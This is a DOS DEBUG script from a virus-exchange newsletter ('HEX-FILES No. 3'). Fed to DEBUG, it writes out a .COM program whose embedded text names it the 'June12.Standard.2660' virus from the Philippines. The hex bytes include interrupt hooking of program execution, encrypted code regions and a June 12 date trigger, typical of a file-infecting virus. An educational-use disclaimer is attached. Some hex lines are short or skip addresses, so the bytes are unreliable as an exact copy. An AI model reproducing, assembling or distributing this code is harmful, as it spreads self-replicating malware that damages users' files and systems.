ÄÄ J12STD-A.SCR STARTS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
N J12STD-A.COM
F 0100 0D5F 0
E 0100 0E 8C C8 05 2F 00 50 33 C0 50 CB E9 D4 01 0D 20
E 0110 20 20 0D 0A 4D 61 62 75 68 61 79 21 0D 0A 0A 54
E 0120 68 69 73 20 69 73 20 4A 75 6E 65 31 32 2E 53 74
E 0130 61 6E 64 61 72 64 2E 32 36 36 30 20 76 69 72 75
E 0140 73 20 63 6F 6D 69 6E 67 20 74 6F 20 79 6F 75 20
E 0150 66 72 6F 6D 20 74 68 65 20 50 68 69 6C 69 70 70
E 0160 69 6E 65 73 2E 0D 0A 42 72 6F 75 67 68 74 20 74
E 0170 6F 20 79 6F 75 20 6C 69 76 65 20 62 79 20 48 45
E 0180 58 2D 46 49 4C 45 53 20 4E 6F 2E 20 33 0D 0A 0A
E 0190 48 45 58 2D 46 49 4C 45 53 20 61 6E 64 20 50 75
E 01A0 74 6F 6B 73 61 20 4B 61 77 61 79 61 6E 20 61 72
E 01B0 65 20 6E 6F 74 20 72 65 73 70 6F 6E 73 69 62 6C
E 01C0 65 20 66 6F 72 20 61 63 74 75 61 6C 2C 20 69 6D
E 01D0 70 6C 69 65 64 0D 0A 61 6E 64 2F 6F 72 20 69 6D
E 01E0 61 67 69 6E 61 72 79 20 64 61 6D 61 67 65 20 61
E 01F0 72 69 73 69 6E 67 20 64 69 72 65 63 74 6C 79 20
E 0200 6F 72 20 69 6E 64 69 72 65 63 74 6C 79 20 66 72
E 0210 6F 6D 20 74 68 65 20 75 73 65 2C 20 6D 69 73 75
E 0220 73 65 0D 0A 6F 72 20 6E 6F 6E 2D 75 73 65 20 6F
E 0230 66 20 74 68 69 73 20 70 72 6F 67 72 61 6D 2E 20
E 0240 54 68 65 20 70 65 72 73 6F 6E 20 77 68 6F 20 65
E 0250 78 65 63 75 74 65 73 20 74 68 69 73 20 70 72 6F
E 0260 67 72 61 6D 20 62 65 61 72 73 20 66 75 6C 6C 0D
E 0270 0A 72 65 73 70 6F 6E 73 69 62 69 6C 69 74 79 20
E 0280 66 6F 72 20 68 69 73 2F 68 65 72 20 61 63 74 69
E 0290 6F 6E 73 2E 0D 0A 0A 54 68 69 73 20 70 72 6F 67
E 02A0 72 61 6D 20 69 73 20 73 74 72 69 63 74 6C 79 20
E 02B0 66 6F 72 20 65 64 75 63 61 74 69 6F 6E 61 6C 20
E 02C0 6F 72 20 72 65 73 65 61 72 63 68 20 70 75 72 70
E 02D0 6F 73 65 73 20 6F 6E 6C 79 2E 0D 0A 0A 0A 24 08
E 02E0 20 1A 0E 1F BA 07 01 B4 09 CD 21 B4 4C CD 21
E 02F0 E9 ED 02 1A E4 01 0D 10 00 00 80 00 0D 10 5C
E 0300 0D 10 6C 00 0D 10 00 00 1D 10 00 00 1D 10 00 F0
E 0310 46 49 04 75 0F 00 01 F3 10 05 00 01 35 05 28 0E
E 0320 20 00 00 55 01 28 0E B3 24 49 93 01
E 0348 07 02 02
E 0350 02 10 00 9C DF D3 D1 D1 DD D2 D8 B2 DF D3 D1 D9
E 0360 C4 D9 D6 E9 F2 F9 BC AD AE BC B1 BC E8 F4 F9 BC
E 0370 D5 F2 F8 F9 EC F9 F2 F8 F9 F2 FF F9 BC D8 FD E5
E 0380 BC F3 FA BC E8 F4 F9 BC CC F4 F5 F0 F5 EC EC F5
E 0390 F2 F9 EF B2 BC 9E 43 9E BC BC 63 63 BC 9E B6 9D
E 03A0 BC 9F 43 9E BC 80 63 63 BC 96 43 9E BC 84 63 63
E 03B0 BC 99 C0 9D 2F 9D B3 9D BC 9A 43 9E BC 88 63 63
E 03C0 BC 98 58 9D 58 9D 93 9D 58 9D 58 9D BC 99 B6 9D
E 03D0 BC 9F 43 8E 63 63 BC 99 B3 9D 2F 9D C0 9D BC 9A
E 03E0 40 9E BC 88 63 63 BC 96 40 9E BC 84 63 63 BC 9E
E 03F0 B6 9D BC 9F 40 9E BC 80 63 63 BC 9E 40 9E BC BC
E 0400 63 63 EC ED 8C EC E2 EC ED 8C EC ED 8C EC E2 E2
E 0410 E2 EC ED 8C EC E2 E2 E2 E2 E2 EC E2 EC DD EC E2
E 0420 E2 E2 EC E8 DC EC E8 DC EC E2 EC E8 DC EC E8 DC
E 0430 D1 D8 DD F9 DE F8 C9 F5 D4 FF DD FD C5 E8 BC F9
E 0440 DD F8 D2 BC DB E8 BC F3 CC BC D5 D1 D0 FD D5 F2
E 0450 CC F3 D5 F2 D2 FB DD BC CF D9 BD F8 BC F8 BC F5
E 0460 BC F9 BC B2 94 9E 94 9E 5E 9D 5E 9D A8 9E 08 9D
E 0470 A8 9E 08 9D EC 9E EC 9E D2 9E D2 9E 19 9E A4 9E
E 0480 1A 9E A4 9E C7 91 BD 92 78 97 C7 91 56 8D 78 97
E 0490 04 96 9C 96 04 96 78 97 04 96 C7 91 C7 91 BD 92
E 04A0 78 97 C7 91 56 8D 78 97 04 96 9C 96 04 96 78 97
E 04B0 B0 9C C7 91 BD 92 C7 91 78 97 78 97 56 8D 56 8D
E 04C0 78 97 78 97 56 8D 56 8D 04 96 F3 95 75 94 6D 9B
E 04D0 75 94 C7 91 BD 92 C7 91 78 97 78 97 56 8D 56 8D
E 04E0 78 97 78 97 56 8D 56 8D 04 96 9C 96 04 96 78 97
E 04F0 04 96 78 97 C7 91 B0 9C C7 91 46 93 C7 91 9C 96
E 0500 9C 96 75 94 75 94 6D 9B 75 94 9C 96 75 94 6D 9B
E 0510 E2 9B 6D 9B 75 94 6D 9B 9C 96 75 94 04 96 04 96
E 0520 9C 96 B0 9C C7 91 B0 9C 90 95 9F 90 90 98 98 98
E 0530 95 9F 90 90 90 95 9F 90 90 98 98 98 95 9F 98 98
E 0540 98 95 9F 95 9F 95 9F 95 9F 95 9F 95 9F 90 98 98
E 0550 98 95 9F 95 9F 95 9F 95 9F 98 98 98 98 98 98 90
E 0560 98 98 98 90 90 90 90 95 9F 95 9F 90 98 98 98 90
E 0570 90 90 95 9F B8 90 84 9C 32 C0 CF 50 56 9C BE 87
E 0580 02 2E 8A 04 2E 30 44 FF 4E 83 FE 63 75 F6 9D 5E
E 0590 58 C3 50 53 51 52 57 56 06 1E B4 2A CD 21 80 FE
E 05A0 06 75 08 80 FA 0C 75 03 E8 91 05 1F 07 5E 5F 5A
E 05B0 59 5B 58 C3 56 9C BE D5 04 2E F6 14 46 81 FE 95
E 05C0 06 75 F6 BE A3 06 2E F6 14 46 81 FE 74 07 75 F6
E 05D0 BE 7C 07 2E F6 14 46 81 FE D7 07 75 F6 9D 5E C3
E 05E0 07 B4 EF CD 21 80 FC EF 73 15 3D 5B 02 75 10 B4
E 05F0 FF BF 00 01 BE 0B 01 06 1F 8B 0E 04 00 CD 21 8C
E 0600 C8 8E D0 BC 62 0A FC EB 00 2E 80 2E 20 03 05 EB
E 0610 05 B8 00 4C CD 21 2E 80 3E 58 00 00 74 03 E8 D6
E 0620 04 F9 D1 73 F9 F9 FF D1 73 F9 F3 FF D1 73 F9 EF
E 0630 FF D1 73 F9 EB FF 73 3F FA EF FF D1 FE F9 E3 FF
E 0640 D1 FE F9 E7 FF 4B 10 D1 7F F9 DF FC FA 32 DE 7F
E 0650 03 10 8C EF F8 D1 71 E9 E7 FF D1 74 D9 E9 FF D1
E 0661 D1 E5 FF CC 3F 71 3F D9 5E 03 FC D1 5C E1 FF
E 0670 D9 5F 01 FC D1 5D DF FF D9 38 F9 03 FC 0C 5A D9
E 0680 39 F9 01 FC 34 A7 FA EF FF 71 3F F1 E0 46 9B F5
E 0690 2E 16 CC 09 74 01 F9 47 4F FC AF 15 03 FC FF FF
E 06A0 73 37 71 2F 43 FF F3 CC 3F 71 27 D1 5E E1 FF 5C
E 06B0 03 FC D1 5F DF FF 5D 01 FC 74 23 4E FB 2C 14 7C
E 06C0 3C DF 4B B5 D1 71 F9 F9 FF 32 DE 47 DE CA 32 DE
E 06D0 D1 76 E1 DE FF D1 73 F9 DC FF F1 E0 45 B6 FB 47
E 06E0 DE DA 32 DE 71 F9 F9 FF D9 71 F9 D3 FF CC 00 46
E 06F1 80 CD 3F 0D 51 D9 C7 FA 1F 06 74 28 7C 3D FC
E 0700 CD 3F D1 5D C4 FF 47 FF B4 F9 E0 F1 F8 44 F7 FF
E 0710 63 D1 00 E1 DE FF E1 F8 4B B6 32 DE 4B B2 32 DE
E 0720 2E 80 3E 58 00 00 75 03 E8 CC 03 B4 31 BA 64 09
E 0730 B1 04 D3 EA 83 C2 11 CD 21 9C 80 FC EF 75 05 B8
E 0740 5B 02 9D CF 80 FC FF 74 17 3D 00 4B 75 02 EB 2E
E 0750 2E 80 3E 3B 00 00 75 05 80 FC 3D 74 1D E9 86 03
E 0760 58 58 B8 00 01 2E A3 25 00 58 8C C0 2E A3 27
E 0770 F3 A4 9D 33 C0 2E FF 2E 25 00 A8 07 75 DF 2E FE
E 0780 06 3B 00 2E C7 06 29 00 FF FF 2E C6 06 2B
E 0790 2E 89 16 2C 00 2E 8C 1E 2E 00 50 53 51 52 56 57
E 07A0 1E 06 55 FC 1E 52 0E 1F B8 24 35 CD 21 89 1E 33
E 07B1 8C 06 35 00 BA 88 02 B8 24 25 CD 21 5A 1F E8
E 07C0 B9 FD E8 EF FD 74 05 CD 2D 7F 82 FE C5 8A FA 75
E 07D0 EA 7F 1D E0 4B C9 32 DE C2 00 00 8A FC 16 31 FD
E 07E0 08 1C 08 1E F4 2D 8A FA C2 9B F5 8D 0F D1 74 E9
E 07F0 D3 FF E1 F8 CD 3F 46 D6 FF 0D 51 D1 74 C9 D3 FF
E 0800 75 FB F5 3F 8B F1 C3 9E 8D F8 C3 85 88 FC 7F D3
E 0810 DF B9 14 13 F1 F8 A9 46 FC FF D4 0E 40 93 FF CD
E 0820 3F D1 5D CD FF 0C 59 A1 8A FD 14 E9 D1 01 F9 CD
E 0830 FF A9 46 FC FF D4 0E 40 90 FF 0C 59 A1 8B FC 16
E 0840 93 FD 46 F4 FF D4 0E 40 9B FF 0C 59 8A FC 16 A2
E 0850 FD 47 FF BC 32 DE 8D FA D1 76 F1 CF FF 8D FA 47
E 0860 FF C2 32 DE 8D F4 D1 5C D6 FF 4B B7 44 FC FF 32
E 0870 DE 8D E6 D1 01 F9 D4 FF D1 74 E1 D6 FF 71 27 46
E 0882 45 23 F8 08 25 47 FD BD 32 DE 8D ED FA 23
E 0890 F8 D1 5C FB FF 46 CF FF CC 2D 74 0D 4B C0 32 DE
E 08A0 8D E6 46 CF FF 40 77 FD F1 F8 0C 59 E1 F8 8A F8
E 08B0 4B C1 32 DE 16 08 FE 4B B6 32 DE 8D EE D1 01 F1
E 08C0 D4 FF D1 3A E9 D3 FF CC 36 47 FE BC 32 DE 8D E5
E 08D0 D1 01 F9 A5 FF D1 74 E1 D6 FF 4B C1 32 DE D1 38
E 08E0 F9 D6 FF 00 00 47 FD C2 32 DE 8D D6 D1 5C D6 FF
E 08F0 73 37 71 27 71 3F 74 E1 D6 FF 47 FF A8 32 DE 76
E 0900 E9 C8 FF 76 F1 C6 FF D1 01 F9 A6 FF CC 36 74 2E
E 0910 47 FF BD 32 DE 8D A0 7F C1 CD FF FF 8B FC 16 73
E 0920 FF 44 FF EF 4B B7 32 DE 8C F4 4B C1 74 E1 D6 FF
E 0930 32 DE 16 86 FE 01 F9 D4 FF 71 3F CC 00 41 03 F8
E 0940 46 F4 FF 0C 5B 5E FB FF FA F4 FF 74 37 DA 0F
E 0950 FA EF FF D4 37 08 26 78 16 4E FB 2C 17 FA EF FF
E 0960 D9 5C FB FF 74 28 74 F1 FB FF 74 E1 D6 FF E1 F9
E 0970 E0 4B C0 32 DE E0 8D CF FC 06 78 16 CD 3F 0C 55
E 0980 CC 09 46 9B F5 E8 2C FC E8 F0 FB F3 A4 E8 EB FB
E 0990 E8 21 FC F9 E0 FC 06 CC 36 74 2E 47 FF BD 32 DE
E 09A0 74 30 CC 2D 4B BF 32 DE 8D F2 16 3D FF 46 E3 FF
E 09B0 45 C3 FF 4B C0 32 DE 8D BB 5E B5 FF 5C E7 FF 5E
E 09C0 B3 FF 5C E9 FF 5E AF FF 5C E5 FF 5E AD FF 5C E3
E 09D0 FF 5E BF FF 7C C1 C1 FF FF 8B FE B7 08 D9 A0 FF
E 09E0 FC F9 C1 FF 7C 2D FF FA F0 FF 7C 2D FF DA 0F
E 09F0 5C A2 FF 76 E9 A4 FF FA 9B F5 7C 2D FF 8D C5 08
E 0A00 C9 A0 FF F4 2D 8B FE BF 5C BF FF 76 E9 C1 FF 5E
E 0A10 A2 FF 74 E9 A4 FF 08 C9 9E FF D4 F9 BB FF 5C AD
E 0A20 FF 38 F9 AF FF E9 FC 5C B5 FF 38 F9 B3 FF 9D F5
E 0A30 CC 36 74 2E 47 FF BD 32 DE 8D F5 46 E3 FF 45 C3
E 0A40 FF 4B BF 32 DE 8D EE C4 3E 8A DB 74 E9 A2 FF 74
E 0A50 F1 A4 FF 47 FF BD 32 DE 8D EA CC 2D 46 9B F5 4B
E 0A60 BF 17 E8 04 E8 4D FB CD 21 E8 48 FB 17 F3 04 D1
E 0A70 7C C1 D6 FF 00 8B C8 D1 7F C1 A6 FF FF 8B EB D1
E 0A80 74 E1 D6 FF D1 74 E9 C8 FF D1 74 F1 C6 FF 47 FE
E 0A90 A8 32 DE 4B C1 32 DE D1 7F C1 A5 FF FF 8B F0 D1
E 0AA0 3A E9 D3 FF D1 74 F1 CF FF 47 FE BC 32 DE D1 3A
E 0AB0 E9 CC FF 47 DB DA 32 DE D1 7F C1 D4 FF FF 8B FB
E 0AC0 4B B6 32 DE 17 4B 05 E8 EA FA 32 C0 2E A2 3B
E 0AD0 8B EC 8B 46 10 3D 00 4B 75 03 E8 B5 FA 5D 07 1F
E 0AE0 5F 5E 5A 59 5B 58 9D 2E FF 2E 21 00 0E 8C C8 05
E 0AF0 4B 50 50 33 C0 50 CB 56 BE 31 03 2E F6 14 46 81
E 0B00 FE 30 04 75 F6 2E 80 36 58 00 07 5E C3 B8 19 07
E 0B10 B9 00 00 BA 4F 18 B7 07 CD 10 C3 51 8A CC 32 ED
E 0B20 B4 09 CD 10 59 C3 B4 02 CD 10 87 CD 8A 05 B4 09
E 0B30 CD 10 FE C2 83 C7 02 87 CD E2 EB C3 B8 40 00 8E
E 0B40 D8 BE 63 00 AD 3D B4 03 74 04 B0 03 EB 02 B0 07
E 0B50 B4 00 CD 10 0E 1F B4 03 32 FF CD 10 51 B4 01 B9
E 0B60 01 02 CD 10 E8 14 FA FB BE 72 00 BA 0F 02 32 FF
E 0B70 B3 0F B4 02 CD 10 B9 32 00 BD 01 00 AC B4 09 87
E 0B80 CD CD 10 87 CD FE C2 B4 02 CD 10 E2 EF 32 FF BA
E 0B90 16 04 BE A4 00 BF 12 01 B9 09 00 B4 02 CD 10 AD
E 0BA0 3C FF 74 0A 02 D4 8A 1D E8 70 FF 47 EB ED FE C6
E 0BB0 B2 16 E2 E7 BF 40 01 BA 1D 0F B9 16 00 BD 01
E 0BC0 B3 8F E8 61 FF BF 41 01 BA 1B 12 B9 1A 00 B3 0E
E 0BD0 E8 53 FF BB 50 C3 8A C3 E6 40 8A C7 E6 40 E4 61
E 0BE0 50 B9 08 00 8B F9 4F D1 E7 8B B5 74 01 8B BD 84
E 0BF0 01 51 E8 2C 00 59 E2 EC 58 E6 61 32 C0 E6 40 E6
E 0C00 40 B8 40 00 8E D8 BF 40 00 C6 05 01 32 FF 33 D2
E 0C10 B4 02 CD 10 FA E8 63 F9 E8 F2 FE 59 B4 01 CD 10
E 0C20 C3 8B 1C B0 B6 E6 43 8B C3 E6 42 86 E0 E6 42 E4
E 0C30 61 0C 03 E6 61 8A 0D 1E 56 B8 40 00 8E D8 BE 40
E 0C41 88 0C 80 3C 00 75 FB 5E 1F 83 C6 02 47 80 3C
E 0C50 2C 75 CE C3 8C C8 8E D0 BC 62 0A 8E D8 B4 EF CD
E 0C60 4D 28 0E 00 10 16 E8 0B 00 E8 08 00 E8 05 00 B8
E 0C70 0E 8C C8 05 2F 00 50 33 C0 50 CB E9 D4 01 0D 20
E 0C80 20 20 0D 0A 4D 61 62 75 68 61 79 21 0D 0A 0A 54
E 0C90 68 69 73 20 69 73 20 4A 75 6E 65 31 32 2E 53 74
E 0CA0 61 6E 64 61 72 64 2E 32 36 36 30 20 76 69 72 75
E 0CB0 73 20 63 6F 6D 69 6E 67 20 74 6F 20 79 6F 75 20
E 0CC0 66 72 6F 6D 20 74 68 65 20 50 68 69 6C 69 70 70
E 0CD0 69 6E 65 73 2E 0D 0A 42 72 6F 75 67 68 74 20 74
E 0CE0 6F 20 79 6F 75 20 6C 69 76 65 20 62 79 20 48 45
E 0CF0 58 2D 46 49 4C 45 53 20 4E 6F 2E 20 33 0D 0A 0A
E 0D00 48 45 58 2D 46 49 4C 45 53 20 61 6E 64 20 50 75
E 0D10 74 6F 6B 73 61 20 4B 61 77 61 79 61 6E 20 61 72
E 0D20 65 20 6E 6F 74 20 72 65 73 70 6F 6E 73 69 62 6C
E 0D30 65 20 66 6F 72 20 61 63 74 75 61 6C 2C 20 69 6D
E 0D40 70 6C 69 65 64 0D 0A 61 6E 64 2F 6F 72 20 69 6D
E 0D50 61 67 69 6E
RCX
0C54
W
Q
ÄÄ J12STD-A.SCR ENDS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
-=<HF3>=-
